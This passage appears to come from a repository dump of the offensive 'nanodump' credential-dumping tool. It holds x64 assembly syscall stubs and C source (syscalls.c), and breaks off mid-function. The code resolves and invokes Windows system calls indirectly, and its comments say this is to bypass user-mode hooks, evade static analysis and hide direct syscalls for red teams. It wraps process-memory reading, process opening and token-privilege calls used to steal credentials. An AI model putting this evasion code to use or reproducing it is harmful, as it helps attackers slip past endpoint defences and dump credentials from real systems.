ENDP\n\n_NtFsControlFile PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 020C6D09Ch\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\n_NtFsControlFile ENDP\n\nNtGetContextThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0BA9EF43Ch\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtGetContextThread ENDP\n\nNtSetContextThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0CB668D44h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtSetContextThread ENDP\n\nNtResumeThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 01339598Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtResumeThread ENDP\n\nNtDelayExecution PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0B6EB75BAh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtDelayExecution ENDP\n\nNtGetNextThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 01BB0D9EFh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtGetNextThread ENDP\n\n_NtQueryInformationThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00ACD84E7h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\n_NtQueryInformationThread ENDP\n\nNtOpenThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 036960437h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenThread ENDP\n\nNtMapViewOfSection PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 07A2D5C79h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtMapViewOfSection ENDP\n\nNtUnmapViewOfSection PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0CA1ACC8Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtUnmapViewOfSection ENDP\n\nNtImpersonateThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00C26D619h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtImpersonateThread ENDP\n\nend\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/syscalls.c",
    "content": "#include \"syscalls.h\"\n\n// Code below is adapted from @modexpblog. Read linked article for more details.\n// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams\n\n#if defined(_MSC_VER)\n#if defined(BOF)\n#pragma data_seg(\".data\")\n#endif\nSW2_SYSCALL_LIST SW2_SyscallList;\n#if defined(BOF)\n#pragma data_seg(\".data\")\n#endif\n#elif defined(__GNUC__) && defined(BOF)\nSW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(\".data\")));\n#elif defined(__GNUC__)\nSW2_SYSCALL_LIST SW2_SyscallList;\n#endif\n/*\n * If no 'syscall' instruction is found in NTDLL,\n * this function will be called.\n * By default just returns STATUS_NOT_FOUND.\n * The idea is to avoid having a 'syscall' instruction\n * on this program's .text section to evade static analysis\n */\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) void SyscallNotFound(void)\n{\n    __asm {\n        mov eax, 0xC0DEDEAD\n        ret\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) void SyscallNotFound(void)\n{\n    asm(\n        SET_SYNTAX\n        \"mov eax, 0xC0DEDEAD \\n\"\n        \"ret \\n\"\n    );\n}\n#endif\n\nPVOID get_ntopenprocess_syscall_address(VOID)\n{\n    return SW3_GetSyscallAddress(ZwOpenProcess_SW2_HASH);\n}\n\n/*\n * the idea here is to find a 'syscall' instruction in 'ntdll.dll'\n * so that we can call it from our code and try to hide the fact\n * that we use direct syscalls\n */\nPVOID GetSyscallAddress(\n    IN PVOID nt_api_address,\n    IN ULONG32 size_of_ntapi)\n{\n    PVOID syscall_address = NULL;\n#ifdef _WIN64\n    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };\n#else\n    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };\n#endif\n\n    // we will loook for a syscall;ret up to the end of the api\n    ULONG32 max_look_range = size_of_ntapi - sizeof(syscall_code) + 1;\n\n#ifdef _M_IX86\n    if (local_is_wow64())\n    {\n        // if we are a WoW64 process, jump to WOW32Reserved\n        syscall_address = (PVOID)READ_MEMLOC(0xc0);\n        return syscall_address;\n    }\n#endif\n\n    for (ULONG32 offset = 0; offset < max_look_range; offset++)\n    {\n        // we don't really care if there is a 'jmp' between\n        // nt_api_address and the 'syscall; ret' instructions\n        syscall_address = SW2_RVA2VA(PVOID, nt_api_address, offset);\n\n        if (!memcmp((PVOID)syscall_code, syscall_address, sizeof(syscall_code)))\n        {\n            // we can use the original code for this system call :)\n            return syscall_address;\n        }\n    }\n\n    // the 'syscall; ret' intructions have not been found,\n    // we will try to use one near it, similarly to HalosGate\n\n    for (ULONG32 num_jumps = 1; num_jumps < SW2_MAX_ENTRIES; num_jumps++)\n    {\n        // let's try with an Nt* API below our syscall\n        for (ULONG32 offset = 0; offset < max_look_range; offset++)\n        {\n            syscall_address = SW2_RVA2VA(\n                PVOID,\n                nt_api_address,\n                offset + num_jumps * size_of_ntapi);\n            if (!memcmp((PVOID)syscall_code, syscall_address, sizeof(syscall_code)))\n                return syscall_address;\n        }\n\n        // let's try with an Nt* API above our syscall\n        for (ULONG32 offset = 0; offset < max_look_range; offset++)\n        {\n            syscall_address = SW2_RVA2VA(\n                PVOID,\n                nt_api_address,\n                offset - num_jumps * size_of_ntapi);\n            if (!memcmp((PVOID)syscall_code, syscall_address, sizeof(syscall_code)))\n                return syscall_address;\n        }\n    }\n\n    return SyscallNotFound;\n}\n\nDWORD SW2_HashSyscall(\n    IN PCSTR FunctionName)\n{\n    DWORD i = 0;\n    DWORD Hash = SW2_SEED;\n\n    while (FunctionName[i])\n    {\n        WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);\n        Hash ^= PartialName + SW2_ROR8(Hash);\n    }\n\n    return Hash;\n}\n\nBOOL SW2_PopulateSyscallList(VOID)\n{\n    // Return early if the list is already populated.\n    if (SW2_SyscallList.Count) return TRUE;\n\n    PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);\n    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;\n    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;\n    PVOID DllBase = NULL;\n\n    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second\n    // in the list, so it's safer to loop through the full list and find it.\n    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;\n    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])\n    {\n        DllBase = LdrEntry->DllBase;\n        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;\n        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);\n        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;\n        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n        if (VirtualAddress == 0) continue;\n\n        ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);\n\n        // If this is NTDLL.dll, exit loop.\n        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);\n        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;\n        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;\n    }\n\n    if (!ExportDirectory) return FALSE;\n\n    DWORD NumberOfNames = ExportDirectory->NumberOfNames;\n    PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);\n    PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);\n    PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);\n\n    // Populate SW2_SyscallList with unsorted Zw* entries.\n    DWORD i = 0;\n    PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;\n    do\n    {\n        PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);\n\n        // Is this a system call?\n        if (*(USHORT*)FunctionName == 0x775a)\n        {\n            Entries[i].Hash = SW2_HashSyscall(FunctionName);\n            Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];\n\n            i++;\n            if (i == SW2_MAX_ENTRIES) break;\n        }\n    } while (--NumberOfNames);\n\n    // Save total number of system calls found.\n    SW2_SyscallList.Count = i;\n\n    // Sort the list by address in ascending order.\n    for (i = 0; i < SW2_SyscallList.Count - 1; i++)\n    {\n        for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)\n        {\n            if (Entries[j].Address > Entries[j + 1].Address)\n            {\n                // Swap entries.\n                SW2_SYSCALL_ENTRY TempEntry = { 0 };\n\n                TempEntry.Hash = Entries[j].Hash;\n                TempEntry.Address = Entries[j].Address;\n\n                Entries[j].Hash = Entries[j + 1].Hash;\n                Entries[j].Address = Entries[j + 1].Address;\n\n                Entries[j + 1].Hash = TempEntry.Hash;\n                Entries[j + 1].Address = TempEntry.Address;\n            }\n        }\n    }\n\n    // we need to know this in order to better search for syscall ids\n    ULONG size_of_ntapi = Entries[1].Address - Entries[0].Address;\n\n    // finally calculate the address of each syscall\n    for (i = 0; i < SW2_SyscallList.Count - 1; i++)\n    {\n        PVOID nt_api_address = SW2_RVA2VA(PVOID, DllBase, Entries[i].Address);\n        Entries[i].SyscallAddress = GetSyscallAddress(nt_api_address, size_of_ntapi);\n    }\n\n    return TRUE;\n}\n\nEXTERN_C DWORD SW2_GetSyscallNumber(\n    IN DWORD FunctionHash)\n{\n    if (!SW2_PopulateSyscallList())\n    {\n        DPRINT_ERR(\"SW2_PopulateSyscallList failed\");\n        return 0;\n    }\n\n    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)\n    {\n        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)\n        {\n            return i;\n        }\n    }\n    DPRINT_ERR(\"syscall with hash 0x%lx not found\", FunctionHash);\n    return 0;\n}\n\nEXTERN_C PVOID SW3_GetSyscallAddress(\n    IN DWORD FunctionHash)\n{\n    if (!SW2_PopulateSyscallList())\n    {\n        DPRINT_ERR(\"SW2_PopulateSyscallList failed\");\n        return NULL;\n    }\n\n    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)\n    {\n        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)\n        {\n            return SW2_SyscallList.Entries[i].SyscallAddress;\n        }\n    }\n    DPRINT_ERR(\"syscall with hash 0x%lx not found\", FunctionHash);\n    return NULL;\n}\n\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) BOOL local_is_wow64(void)\n{\n    __asm {\n        mov eax, fs:[0xc0]\n        test eax, eax\n        jne wow64\n        mov eax, 0\n        ret\n        wow64:\n        mov eax, 1\n        ret\n    }\n}\n\n__declspec(naked) PVOID getIP(void)\n{\n    __asm {\n        mov eax, [esp]\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenProcess(\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL)\n{\n    __asm {\n        push 0xCD9B2A0F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtGetNextProcess(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Flags,\n    OUT PHANDLE NewProcessHandle)\n{\n    __asm {\n        push 0xFFBF1A2F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL)\n{\n    __asm {\n        push 0x118B7567\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtClose(\n    IN HANDLE Handle)\n{\n    __asm {\n        push 0x2252D33F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenProcessToken(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    OUT PHANDLE TokenHandle)\n{\n    __asm {\n        push 0x8FA915A2\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0xBDBCBC20\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0x0393E980\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtAdjustPrivilegesToken(\n    IN HANDLE TokenHandle,\n    IN BOOLEAN DisableAllPrivileges,\n    IN PTOKEN_PRIVILEGES NewState OPTIONAL,\n    IN ULONG BufferLength,\n    OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0x17AB1B32\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtAllocateVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID * BaseAddress,\n    IN ULONG ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect)\n{\n    __asm {\n        push 0x0595031B\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtFreeVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID * BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType)\n{\n    __asm {\n        push 0x01932F05\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER AllocationSize OPTIONAL,\n    IN ULONG FileAttributes,\n    IN ULONG ShareAccess,\n    IN ULONG CreateDisposition,\n    IN ULONG CreateOptions,\n    IN PVOID EaBuffer OPTIONAL,\n    IN ULONG EaLength)\n{\n    __asm {\n        push 0x96018EB6\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL)\n{\n    __asm {\n        push 0x24B22A1A\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateProcessEx(\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ParentProcess,\n    IN ULONG Flags,\n    IN HANDLE SectionHandle OPTIONAL,\n    IN HANDLE DebugPort OPTIONAL,\n    IN HANDLE ExceptionPort OPTIONAL,\n    IN ULONG JobMemberLevel)\n{\n    __asm {\n        push 0x1198E2E3\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0x4A5B2C8F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtDuplicateObject(\n    IN HANDLE SourceProcessHandle,\n    IN HANDLE SourceHandle,\n    IN HANDLE TargetProcessHandle OPTIONAL,\n    OUT PHANDLE TargetHandle OPTIONAL,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Options)\n{\n    __asm {\n        push 0x9CBFA413\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryObject_(\n    IN HANDLE Handle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID ObjectInformation OPTIONAL,\n    IN ULONG ObjectInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0x0E23F64F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtWaitForSingleObject(\n    IN HANDLE ObjectHandle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER TimeOut OPTIONAL)\n{\n    __asm {\n        push 0x426376E3\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n    __asm {\n        push 0x64B26A1A\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtTerminateProcess(\n    IN HANDLE ProcessHandle OPTIONAL,\n    IN NTSTATUS ExitStatus)\n{\n    __asm {\n        push 0x652E64A0\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtSetInformationProcess_(\n    IN HANDLE DeviceHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG Length)\n{\n    __asm {\n        push 0x1D9F320C\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationToken(\n    IN HANDLE TokenHandle,\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\n    OUT PVOID TokenInformation,\n    IN ULONG TokenInformationLength,\n    OUT PULONG ReturnLength)\n{\n    __asm {\n        push 0x27917136\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtDuplicateToken(\n    IN HANDLE ExistingTokenHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN BOOLEAN EffectiveOnly,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE NewTokenHandle)\n{\n    __asm {\n        push 0x099C8384\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NTAPI NtSetInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength)\n{\n    __asm {\n        push 0x1ABE5F87\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateDirectoryObjectEx(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN HANDLE ShadowDirectoryHandle,\n    IN ULONG Flags)\n{\n    __asm {\n        push 0xBCBD62EA\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateSymbolicLinkObject(\n    OUT PHANDLE LinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PUNICODE_STRING LinkTarget)\n{\n    __asm {\n        push 0x8AD1BA6D\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenSymbolicLinkObject(\n    OUT PHANDLE LinkHandle,\n    IN 